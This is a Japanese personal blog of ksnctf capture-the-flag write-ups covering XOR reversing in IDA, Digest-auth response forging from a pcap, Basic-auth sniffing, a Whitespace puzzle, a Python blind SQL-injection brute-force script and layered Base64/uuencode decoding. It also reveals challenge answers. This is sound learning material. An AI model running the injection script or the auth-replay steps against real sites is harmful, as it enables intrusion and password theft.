アイジア

CTF, 情報セキュリティの学んだことメモ

ksnctf 11 Riddle

ksnctfの11問目を解いていきます。リバースエンジニアリングの問題です。 ksnctf.sweetduet.info

実行と解析

f:id:favoritte15:20181115222445p:plain

Riddle.exeを実行すると、簡単な質問(答えは1問目「Human」,2問目「Greenland」, 3問目「42」)の後唐突にフラグを聞かれます。分からないのでIDAで開いて解析を行います。 f:id:favoritte15:20181115222719p:plain

exeファイルの挙動は、下のテキストにクイズの答えを入力すると「Correct!」、不正解だと「Wrong...」と表示されるというものでした。その文字列を出力する周辺に、正解文字列との比較を行っている処理がある可能性が高いので、まずはヒントになる文字列を探します。 f:id:favoritte15:20181115223039p:plain

右上のNames windowに「Wrong」が、すぐ上に「Correct」「Conglatulation」という文字列があります。ダブルクリックすると左のウィンドウが遷移します。 f:id:favoritte15:20181115223250p:plain

「Correct」も「Wrong...」も「Conglatulation」sub_401980というサブルーチンで使われているのでこれが正解文字列との判定処理だと思われます。sub_401980をダブルクリックして詳細を見ていきます。
f:id:favoritte15:20181119130348p:plain
実際に「Wrong...」とダイアログを表示する処理を行っているのは「loc_E1A7D」というルーチンであるようです。ここにジャンプする命令の直前の比較命令(cmp)を分析することでフラグが分かりそうです。
ここからは静的解析だけでは厳しいのでここから実際にプログラムを動かして解析していきます。
f:id:favoritte15:20181119131326p:plain
f:id:favoritte15:20181119131457p:plain
f:id:favoritte15:20181119131515p:plain
上の画像のようにE1A7Dにジャンプする命令にブレークポイントを仕掛けます(右クリック->[Add Breakpoint])。 仕掛けたら実際にプログラムを実行します。F9を押すとIDAがプログラムをロードし、もう一度F9を押すとRiddle.exeが実行されるので「What is the flag?」の問まで進めます。ここではとりあえず「FLAG_」と入力してブレークポイントに当たります。 f:id:favoritte15:20181119131918p:plain
最初のブレークポイントは0x15と入力文字列の数(EAX)を比べています。フラグの文字数は21文字であることが分かりました。
f:id:favoritte15:20181119133256p:plain
入力文字列が21文字になるように「FLAG_ABCDEFGHIJKLMNOP」と入力し、2番目のブレークポイントに当たります。直前の比較命令において、edxには「0D1BFFBF」が入っていますがこれが何の値かわかりません。
f:id:favoritte15:20181119134234p:plain
見た感じこのsub_E17D0というサブルーチンでこの値が入力文字列をもとにしてつくられているみたいです。

XOR命令を探せ

簡単なリバースエンジニアリングの問題においてこの手の変換処理はXORでやっていることが多いので、サブルーチンでそれを探します。ただし、
オペランドレジスタがどちらも同じ→そのレジスタの値を0にしているだけ
オペランドにスタックの位置を表すレジスタ(esp, ebp)が含まれている→サブルーチンの補正とかのための処理
なのでここでは無視します。そうして探していくと以下の命令が見つかりました。
f:id:favoritte15:20181119143232p:plain

xor [eax+esi], cl

ここのXOR命令、入力文字数分だけ繰り返されています。最高に怪しいポイント。くり返し実行してECXの値を見ていくと[eax+esi]のアドレスには順に0xF9, 0xB3,0x5A,0x4A,0x18,0xEA, 0x5D, 0x36, 0x99, 0xE2, 0x6, 0x3F, 0xA1, 0x20, 0x47, 0x1F, 0xF5, 0x86, 0xA3, 0xAC, 0x7が格納されます。

FLAG→0x46 0x4C 0x41 0x47
[eax+esi]→0xF9, 0xB3 ,0x5A ,0x4A
この値をそれぞれXORすると「0xBF,0xFF, 0x1B, 0x0D」になり先ほどのEDXの値(0D1BFFBF)と一致します。やはりXORで文字列が変換されているようです。
この場所で4文字ずつ比較を5回行い20文字分を照合しています。その後、

f:id:favoritte15:20181119153027p:plain
↑ここの部分で0xC7でXORした最後の文字と0xACを比較しています。 メカニズムが分かったのでここからプログラムを書いてフラグを求めます。

#include <stdio.h>

int main(){
    char a[22] = {0xF9, 0xB3, 0x5A, 0x4A, 0x18, 0xEA, 0x5D, 0x36, 0x99, 0xE2, 0x6, 0x3F, 0xA1, 0x20, 0x47, 0x1F, 0xF5,
    0x86, 0xA3, 0xAC, 0xC7};
    char b[22] = {0xBF, 0xFF, 0x1B, 0x0D, 0x47, 0xA7, 0x18, 0x4F, 0xCB, 0xD6, 0x5C, 0x59, 0x95, 0x61, 0x73, 0x57,0xB3,
    0xD1, 0x94, 0x9F, 0xAC};
    char flag[22];
    
    int i;
    for(i=0; i<21; i++){
        flag[i] = a[i]^b[i];
    }
    printf("%s\n", flag);   
}

ksnctf 9 Digest is secure!

ksnctfの9問目を解いていきます。

ksnctf.sweetduet.info

ダイジェスト認証とは

Digest認証 - Wikipedia

Digest認証の挙動 - Qiita

ダイジェスト認証はベーシック認証と同じくHTTP認証方式の一つです。ベーシック認証がBase64を使用するのに対して、ダイジェスト認証はMD5というハッシュ関数を使うことでよりセキュアな認証を実現できます。ベーシック認証と違って、ダイジェスト認証はパスワードをネットワーク上に流しません。その代わり、responseという値をサーバに送ります。responseを求めるための式は以下の通りです。

A1 = ユーザ名 : realm : パスワード A2 = HTTPのメソッド : コンテンツのURI response = MD5( MD5(A1) : nonce : nc : cnonce : qop : MD5(A2) )

名称 意味
realm 認証が必要なサーバ側のエリア名
nonce サーバ側で生成するランダムな値(1回の認証ごとに発行)
nc カウンタ
cnonce クライアント側で生成するランダムな値(1回の認証ごとに発行)
qop 認証のセキュリティレベルの設定(基本はauth、auth-intで最高レベルの保護)

このMD5(A1), nonce, nc, cnonce, qop, MD5(A2)が分かれば認証は成功することになります。

パケット解析

MD5(A1), nonce, nc, cnonce, qop, MD5(A2)を見つけるためにq9.pcapをWiresharkで開いて解析していきます。
f:id:favoritte15:20181114194638p:plain

1行目(No.7):クライアントがサーバにアクセスします。
2行目(No.9):サーバが401(要認証)レスポンスを返します。その際、www_authenticateヘッダを含めます。 3行目(No.14):クライアントがwww_authenticateヘッダを含めて再びサーバにアクセスします。
f:id:favoritte15:20181114195141p:plain

response="c3077454ecf09ecef1d6c1201038cfaf"

このresponseの値は通常逆変換できないのですがそれだと問題が解けないのでMD5の逆変換サイトを使って復元できるようになっています。

Best MD5 Decrypter - Hash Toolkit

response=MD5(c627e19450db746b739f41b64097d449:bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b:00000001:9691c249745d94fc:auth:31e101310bcd7fae974b921eb148099c)

ここまでの情報を用いて認証を突破します。nonceとcnonceはアクセスするごとに変化するのでその値をキャプチャしてresponseを改変します。

①ブラウザでhttp://ctfq.sweetduet.info/~q9/flag.htmlへアクセスします。 ②Fiddlerを起動して、[Rules]->[Automatic Breakpoints]->[Before Requests]をクリックしてブレークポイントを設置。 ③ブラウザでユーザ名をq9にしてログインを行います。

今、nonce=UXEeI616BQA=4a74de17d9620e922002f5f50008b601cb1241c8, cnonce=0e898e984de43bb4なので、

response=MD5(c627e19450db746b739f41b64097d449:UXEeI616BQA=4a74de17d9620e922002f5f50008b601cb1241c8:00000001:0e898e984de43bb4:auth:31e101310bcd7fae974b921eb148099c)=da79f06e4e32e16499e380a84456cbed

Request HeadersウィンドウのSecurityヘッダのAuthorizationを右クリック->[Edit Header]でresponseを求めたMD5のハッシュにします。 すると認証に選択し、フラグがブラウザに表示されます。

ksnctf 8 Basic is secure?

ksnctf8問目を解いていきます。結論から言うとBasic認証はセキュアではありません。 ksnctf.sweetduet.info

Basic認証とは

Basic認証は最も簡易なHTTP認証方式です。Basic認証が必要なWebページにアクセスするとIDとパスワードを入力するダイアログが表示されます。
f:id:favoritte15:20181114154624j:plain
認証情報は、
(ID):(平文のパスワード)
Base64エンコードしてネットワーク上に流れます。以上のことを踏まえて問題を解いていきます。

パケットキャプチャ

問題のpcapファイルをダウンロードしてWiresharkで開きます。中身は以下のようになっています。
f:id:favoritte15:20181114155033p:plain
このままでは少し見づらいのでフィルタをかけてHTTPパケットのみを表示します。
f:id:favoritte15:20181114155414p:plain
上にある入力バーに「http」と入力するとhttpパケットのみを絞り込むことができます。右側のHTTPステータスコードを見ていけばどのような通信が行われていたかわかります。
1行目(No.7):クライアントがctfq.sweetduet.info/~q8にアクセスしています。
2行目(No.9):サーバ側が認証要求を出しています。
3行目(No.13):クライアントがもう一度Webサイトにアクセスしています。
4行目(No.16):クライアントの認証が通り、Webサイトのコンテンツを返しています。

3行目のパケットを詳細にみていきます。
f:id:favoritte15:20181114160047p:plain
フラグを発見できました。

ksnctf 7 Programming

ksnctf7問目。プログラミングの問題です。

ksnctf.sweetduet.info

リンク先にあるcppファイルをダウンロード、コンパイルして実行してみます。
f:id:favoritte15:20181114125712p:plain
当然だめ。コードで特徴的なのは異様に空白や改行が多いこと。難読化のためでしょうか?
調べてみたところWhitespaceという難解なプログラミング言語だとわかりました。C++のコードはフェイクで、タブや空白がコードの本体として動作するという奇妙な言語です。実行及びデバッグができるサイトで解析します。

Whitelips the Whitespace IDE

f:id:favoritte15:20181114135248p:plain
右のデバッグ部分を見た感じ、PINとして33355524を入力するとフラグを出力する部分(label_0)に飛ぶみたいです。

ksnctf 6 login

ksnctfの6問目を解いていきます。

ksnctf.sweetduet.info

問題のリンクへアクセスするとフォーム画面があります。とりあえず何も考えずにSQLインジェクションを試します。
f:id:favoritte15:20181114112141p:plain
f:id:favoritte15:20181114112315p:plain
あっさり通りましたがまだフラグは分かりません。adminのパスワードをクラックしなければいけないようです。

SQLインジェクションを利用したブルートフォース攻撃


ksnctfのフラグは最初5文字が「FLAG_」で計21文字なのでのこりの16文字を総当たり攻撃によって求めます。

# -*- coding: utf-8 -*-
import requests

flag = "FLAG_"
url = "http://ctfq.sweetduet.info:10080/~q6/"
for i in range(6, 22):
    for j in range(48, 123):
        d = {'id':"admin", 'pass':"' OR substr((SELECT pass FROM user WHERE id='admin'),1,"
         + str(i) + ")='" + flag + chr(j) + "'--"}
        result = requests.post(url, data=d)

        if len(result.text) > 1500:
            print(chr(j))
            flag += chr(j)
print(flag)

ksnctf 5 Onion

ksnctfの5問目を解いていきます。 ksnctf.sweetduet.info

Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTV0ZKdGVGWlZNakExVmpBeFYySkVU bGhoTWsweFZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdFdVZ3BpVlZwWVZtMTRj MDB4V25GUmJVWlVUV3hLU1ZadGRHdFhRWEJwVW01Q1VGZFhNSGhpCk1WWlhWMjVHVW1KVldtRldh a0Y0VGxaVmVXUkdaRmRWV0VKd1ZXcEtiMlJzV2tkWGJHUnJDazFXY0ZoV01qVlRZV3hLV0ZWdFJs ZGgKYTFwTVZURmFZV1JIVWtkYVJscGhUVEJLZDFadGVHRmtNV1JYVjI1U1RsWkdTbkZEYXpGRlVX cFNWMDFxVmxSWlYzaExWMFpXYzFacwpWbGNLVFRKb1RWWlVSbUZaVjFKSVZXdHNWV0pYYUZkV01G WkxWbFprV0dWSGRHbE5iRXA2VmpKMGExbFdUa2xSYmtwRVlYcEdlbFl5CmRHOVdNREZ4Vm14U1Yx SXphR2hWYWtaUFl6RmFjd3BXYkdOTFZGUkJNRTFHV2toa1IwWm9UV3MxTUZWdGRHdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRTU0U5V1NrNVdiSEJKVmpKMFlXSXhVbk5VYTJob1UwVktSVmxZY0Vk WFJsbDVDbVZIT1ZkTlJFWjRWbTE0VTFZeApTWHBoUjJoV1lXdGFVRmw2Um1GamQzQlhZa2RPVEZa R1VrdGlNVkpYVjJ4V1UySlZXbUZXYWtaTFUxWmFXR1JIT1doTlZXdzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hWYWtaaFpFWktkR1JGTlZkTlZYQmFWbTF3U2sxV1ZYbFNiazVVWWtkNFYxbHRkRXRT Vm14WlkwVmsKV0ZKc1ZqVkRiVlpJVDFab1UwMUdXVEJYVkVKdldWWmtjd3BYYTFwWVlUTlNhRlZy Vm1GamJIQkdWMnQwYW1RelFtaFZha3ByVkVaawpWMVZyVGxkTlJGWklWMnRvVDFkSFNsWlhiR1JW VmpOT05GUnJXbXRqYlVaSFZHMW9UbFpZUVhoV1ZtUTBDbUV4V1hkTlZXTkxWakowCk5GWXlTa2Rq U0VwWFRVZFNXRlV3V2t0ak1WWnlUbFprVGxaWVFtRldiVEYzVXpBeFNGSllhRmhpYkVwVVZqQmtV MVZHV25SbFIwWlQKVm0xNFdsa3dWbXNLVjBaS2RHUkVUa1JpUjFJd1ZERmFiMVV3TVVkWFZFSllW a1ZLZGxWNlJscGxVWEJUWW10d2NWVnNhRzlXTVd4WQpaRWhrVmxKc1ZqUldNbmhQWVcxUmVsRnNi RnBpUjFGM1ZrVmFZUXBrUjFKSFdrWndWMkpJUWxsV2FrbzBWakZWZVZOc1dsaGlWVnBZCldWZDBZ VlJHVlhoWGJVWllVakZLU1ZReFpHOVViRnBZWkhwR1dGWnNXbkpEYlVsNFYyeGtXR0V4YkV4V1ZF b3dDazVHV1hsVGEyUnEKVTBWd1dGUlZaRk5YUmxWM1YydDBhazFXV25sVWJGcHJWR3hhV1ZGdFJs ZGlXRUpNVkZWa1NtVkdWbGxoUjJ4VFlsWktWbGRXVWtkawpNVnBYWWtoT1YySlZXbFFLVm0weE5H VldXWGxPVjNOTFZtcEtTMUl4WkhGUmExSm9aV3hhWVZZeWRHRmhNVkp6VTJ0YVdHRnNTbGhaCmJG SkdUVVpXVlZKc2NHdGtNMEpQVm14a2IxWXhiRlZVYlRsWVVtMTRlZ3BaVldNMVlXMUtTVkZyYUZk TmJrMHhXVmN4VW1Wc1JuVlMKYkZwb1lUSTVNMVpyVm1GWlVYQllVbFJHUmxWdGVFdFViVVY1Wkhw Q1YyRnJhM2hXVkVwSFl6Rk9jMkZHV21sU01VcG9DbGRYZEdGawpNa1pIVmxoa1dHSklRbk5XYkZK WFYwWmtjbGR0ZEZkTlJFWktWVmQ0ZDFkR1duTlhiV2hFWWtaR05GWXhhR3RVYkZwWVZHdDRWMkZy CmIzZERhelZIVjFoc1ZHRXlVbkVLVlRCV2QxZEdVbFphUms1WFVteFdNMVl5ZERCaE1VbDRVMnRr VldKR2NISldSM2hoVjFaR2RGSnMKWkdsWFJVcE5Wa1pXWVdNeFpFZFViR3hwVW1zMVdWVnFTbTlX YkZweFVXMTBWZ3BOVjFKWVdXdG9VMkV4VGtoVmJGRkxWbTB3ZUU1RwpaSE5oTTJSWFlsaE9URlpx UW1GVE1sSklWV3RXVldFeFNuQlZha1pLWkRGYVJWSnRSbWhOVmtwNlZUSjBZVmRIUm5OVGJHaGFD bUpHClNrZFVWVnBYVmxaS2RHUkdUbXROTUVwYVYxY3hlazFYVGxkV2JrNW9VbnBzV0ZSV1pEUmxa M0JhVmxkTk1WWnRlRXRrVmtaeVlVWmsKVG1Kc1JqTlhWbU40VlcxV2MxSnVUbWdLVW01Q2IxUlhl RXRWVmxweVZtMUdhR1F6UWxsVmFrWkxVMVpSZUZkcmRHaFdiSEI2V1RCUwpZVll5Um5KaE0yaFdZ V3RhV0ZwRldrOWpNV1J6WVVkc1UwMXRhRzlEYkdSWVpFZEdhd3BOYTFwSVZqSTFSMVV5U2taT1dF WlZWbTFTClZGUlZXbGRrUjFaSVVteGFUbUV6UWt0V1ZscHZZVEZrUjFkdVRsaGlWMmhGV1d0YVIw NUdXWGhoUjNSVllrWndXVlpIZERSV01rWnkKQ21JelpFUmhlbFpJV1d0YWExWkhSWGhqUm10TFYx ZDRhMkl4WkVkVmJGcGhVbXMxVjFWdGVHRk5SbXQ2WTBaa1dGSnJiRE5aTUZacgpWbGRLUjJOSVNs ZFNNMmhvVmpGYVIyTnRVa2NLV2tkc1YxSldiRFpXYkdoM1VXMVdSMVJyWkZSaVIzaHZWV3BDWVZa R1duRlRiVGxYCllrZFNXVnBGWkRCVWQzQlRZa2QzTUZkWGRHOVZNa1owVm01S1dHSkdSa3hXYlRC M1pVVTFTQXBXYms1WVlteEtVRlpxVGs5VVJscHgKVVcxR1ZFMXJNVFZWTW5SWFZqSkZlRk51UWxk aVdGSXpWVEo0WVZKV1NuUlNiV2hPVm10d05sWlVTakJaVm1SSFdrVm9hRkp0YUdGRApiVVY1Q2xW ck9XRldWbkJ5Vm1wR2EyUkhVa2hqUjNST1RVVndZVll4V2xOU01sRjRXa1prYVZKc1dsWlphMVV4 WWpGV2RHVkhSbXhWCldFSllXV3hTUjFOR2JGaE5WWFJVVWpGSk1sVXllR0VLWVZaa1NHRkliRmhX YlU0MFZsY3hWMk14U25WVWJXZExWVzAxUTJJeFVsaGwKUlhSV1ZteHdlVlp0TVVkaFIxRjZVV3hz Vm1GcldreFZNVnBYWkVkV1NHUkdWbWxTV0VKSlZtcEtNQXBqTVZsNVVtNUthV1ZyU21GWgpWM1Iz VTBac05sSnJPV3BOYTFwSVZqSXhjMVV3TVZaalJtaEVZa1p3TUZrd1ZUVldVWEJPVWtaYVNWWnNZ ekZUTVdSSVUydHNVbUpyCk5WaFphMXBMQ2xkR1duRlNiRXBzVW0xU01GcEZXbXRVYkVwR1YydDBW MVp0VVhkYVJFWmFaVlpPY21GR1dsZFNWWEJHVjFkNFYxWXcKTlVkWFdHaG9Vak5TVmxsclduZFhW bHBJWkVSU1YwMXJXbmtLUTIxSmVscEZVbWhsYkZwSlZtcEdiMkV4VW5OYVJXUllZbFJvVEZacwpa SGRUTWtsNFdrVmtWbUpHY0ZsWmEyUlRWVVpXZEdWSVpHeGlSbXcxV2tWa01HRkZNVlppUkZKV1RX NVNjZ3BXYkdSTFVqSk9TVk5zCmNGZGlTRUpSVmxjeE5GUXlUblJWYTJOTFYydGtjMWRHU2xaalJU VlhZVEZ3V0ZsVVJrOWtSbHB5V2taa2FWSXphSFpXVjNCRFdWWmEKVjFadVRtaFNWVFZYQ2xWdGVI ZFdiRlpZVFZSQ1ZXUXpRbFJaYTJRelRVWmtXR1JIT1ZSTlZtdzFWV3hvZDFadFNrZFNhM2hYWWxS QwpNMXBWVlRGVFFYQlhZa2RTV1ZsdGVFdFZSbHB6VlcwNVZWSnNjSGtLVmxkMGExWkZNWEpOVkZK WVlUSm9TRlpYTVVabFJrNTFVV3hrCmFWSnJjRmxXVkVaaFdWZE9jMk5GVmxaaVYyaFBWbTEwZDA1 c1duRlRhbEpwVFZaYVNGWkhkRzlpUmtwMFlVZEdSQXBpVlhCSVEyeE8KY2xwR1ZsZFdia0paVm0x NFlWTXlUWGxVYTJoc1VteHdXVlZzVm5kV01WbDRXa1JDV2xadGVGaFdNblJyWVZaS2MxZHNXbHBp UmtwNgpWakZhVjJSSFZrWmtSbWhTQ2xkRlNsbFdSbVIzVmpKT2MxZHVTbGhoTTFKeVZXcEdTazFz VlhsbFIwVkxXVlphYTFJeFRuVmlSbWhYCllsVTBNRlpzWTNoV01rMTRVMjVXVm1KWFpFeFdWekUw WkRKSmVHSkdWbFFLVmtaYVQxUldXbmRsVmxwMFRWVmtXR0pHV2xwVlYzaHoKVm0xS1IxTnJhRmRp V0doWVZqQlZlRlpXUm5OV2JXeFRZbXRHTkZac1dtdE9RWEJxVFZac05WVnROVXRoVlRCNVZXMUdW d3BoTVZwbwpXVlZhZDFKc1pISmtSbWhYVFVoQ1NWWnFTWGhqTWtaR1RWWnNVbUpIYUVWWmExcDNU VVpTVm1GSE9WZGFNMEpQVm0wMVExTldXbkZTCmJUbHBUVmRTU1ZVeWVHRlhSMHBIQ2xkc1pGcFdN MUpvUTJ4U1IxWllhRmhpUjFKeVZXcEdZVk5XVm5SbFIwWlZZbFZXTmxWWGREQlcKTVZwMFZXcE9X RlpzY0dGYVZscExaRlpPZEdGRk5VNWlWMmhIVmpGa01GWnRWa1lLVGxWa1dGZEhlSE5WYWs1VFYx WldjVkZzWkU5UwpiWGg1Vm0xd1UxWXdNVmRqUldOTFVUSXhTbVZzY0VaVmJXaHNZa1p3U2xadGNF ZGlNazE0Vmxob1lWSlhhRzlWTUZaWFZFWmFjd3BhClNHUlVUV3RzTkZZeGFHOWhWa3AwWVVoS1Zt RnJTbWhaTVZwelkyeHdSVlJyTldsU2JHOTNWa2Q0YTAxR1dYaFRia3BwVWtaS1YxUlgKTlZOaloz QlhZa2RTVEZWcVNrOVRWazV6Q2xwRk5WTmlhMHBPVm0wd2QyVkdVWGhUYmxKV1lUSk9URll5ZEd0 ak1WbDRVMnhrYVZKRwpjRmhaYTFwTFZFWndXRTFXWkZOTlYxSmFXVlZhYjJGV1NYcGhTR1JYVm5w Rk1GVjZTa29LWlVaV2MyRkhlRk5YUmtwWlEyeHNjbHBHClRsaFdia0pIVjJ0U1EyRkdWbGxSYXps WFlsUkZlbFJWV210WFIxSklUMVphVG1FeFdUQldhMlF3WWpGYWRGTnJaRk5oTTJoWVdXeFMKUXdw Tk1YQldWbFJHVkZGWVFsaFpiWE14VjFac2RHVkZkRlpTYkhCNFZrZHpOVlpXU25OalJFRkxWMnRX YTFJeFpITlhXR1JPVmtaSwpWMVJYY0ZkVFJscDBUVlZhYkZKck5URlZWM2hoQ21GV1pFaGFNM0JY VWpOb2FGZFdXa3RXTVU1MVZXeE9hVll5YUZCV2JURXdaREExCmMxZHVSbFJoYkVwd1ZGWmFZVk5H V2toa1J6bHBVbXR3TUZsVlpFZFNRWEJwVmxoQ1NWRXllRThLWTJ4d1IxWnNaRmRpYTBwMlZtMHgK TkZsV1RYbFVXR3hWWVRKb2MxVnRlSGRYVmxaelZtNWtWMkpHYkRSWFZFNXZWR3hKZUZKcVZsZFNN Mmh5Vm1wS1MyTnJOVmhQVmxwcApZbXRLTmdwV01WcGhXVmRTUms1V1dsVmlSMmhYUTJ4a1JsTnRP VmRXTTJoeVZsUkdUMUl5U2tkaFJUVlhWMFpLVmxadE1UQlpWMVpYCldraEtXR0pVYUV4WFZsWlda VVpaZVZScmJHbFNiVkp3Q2xWdGRIZFVWbHB6V1ROb1YwMXJNVFJWTWpWWFZsZEtXR1JGZUZkV2Vr RjQKVlZSS1NtVkdWbk5oUjNkTFZXeG9VMVl4V25SbFNHUnNWbXh3TUZSV1ZtdGhSa2w0VW1wYVZs WXphSG9LVm0weFIyTnNaSFJoUmxwTwpVbTVDYUZkc1dsWmxSbHBYVW01T1YySlhlRmhXTUZaTFUx WmFkR05GWkZaa00wSlRWRlphYzA1V1ZuUk9WWFJvVmxSQ05WWlhlRzlYClozQlhUVEZLYndwV2JY QkhaREZaZUZwSVNsQldNMEp3Vm14YWQxTldXbkZUV0docVRWWldOVlV5TlV0V1IwcElZVVZXV21F eGNETlUKVlZweVpERmFWVlpzWkdGTk1FcFFWbGQwVjFOck1VZGFSbFpTQ21KVlduQlVWM1IzVTBa VmVVNVdUbGRpVlhCSlEyMVdSMXBHY0ZkTgpNVXB2VVRJeFIxSXhXbGxhUm1ocFYwWktlRmRYZEd0 Vk1sWnpXa2hLWVZKNmJGaFVWM1JYVG14V1dFMVZaRmNLVFZad01GWkhjRk5XCmJVWnlWMjFHWVZa c2NFeFdNV1JMVWpGa2MyRkdUazVXV0VKSVZtcEdZV0l5VVhoWFdHZExWa2QwYTFZeFpFaGxTRXBX WVdzMVZGbHEKUm5OamJGcDFXa1pTVXdwaVdHZzFWbTB4ZDFVeFdYZE5WbHBxVTBjNVRGVlVTalJo TWsxNFZtNUtWbUpYZUZoV2ExWldaREZhYzFWcgpkRTVTTUZZMVZXMDFUMVpIUlhsVmJrWldZa1pL ZGxaRldtRmpkM0JoQ2xKRlNtOVVWVkpYVTBaVmVXVkhkRnBXYXpWSVZqSTFRMVpXCldrWmpSbEpY Vm14d2FGbDZSbUZXVmtwMFpFWmthVkp1UWtwV2JYaGhZakpGZUZkcmFGWlhSM2hSVld0a05GSlda SFVLWWpOa1VGVlkKUWtWWGJtOTNUMVZPYmxCVU1Fc0sK

一見すると何が何だかわかりませんが、文中にアルファベットと数字しか含まれていないことを考えるとBase64エンコードされている可能性が高いです。デコードしていきましょう。

Base64デコード(Base64 Decode)|Web便利ツール@ツールタロウ
f:id:favoritte15:20181114103258p:plain
↑一見すると変わってないように見えますが、末尾の方がちゃんと変わっています。くり返しデコードを行います。 十数回やると以下のコードが出てきました。

begin 666
51DQ!1U]&94QG4#-3:4%797I74$AU
end

これはuuencodeというUNIXで使われるエンコード方式です。

デコーダで「51DQ!1U]&94QG4#-3:4%797I74$AU」を復元するとフラグが出てきます。
uuencode変換

タイトルの意味
f:id:favoritte15:20181114104341j:plain
ITでのOnionといえば、Torブラウザのオニオンルーティングが有名です。Torで行う通信は何重にも暗号化されており、データを暗号化の層が覆う姿が玉ねぎのようだということから名付けられています。この問題でもフラグがBase64uuencodeの層によって守られていましたね。
ちなみに同じように食べ物に例えるものとして、多層防御の考え方の一つであるスイスチーズモデルがあります。参考までに。
f:id:favoritte15:20181114105758j:plain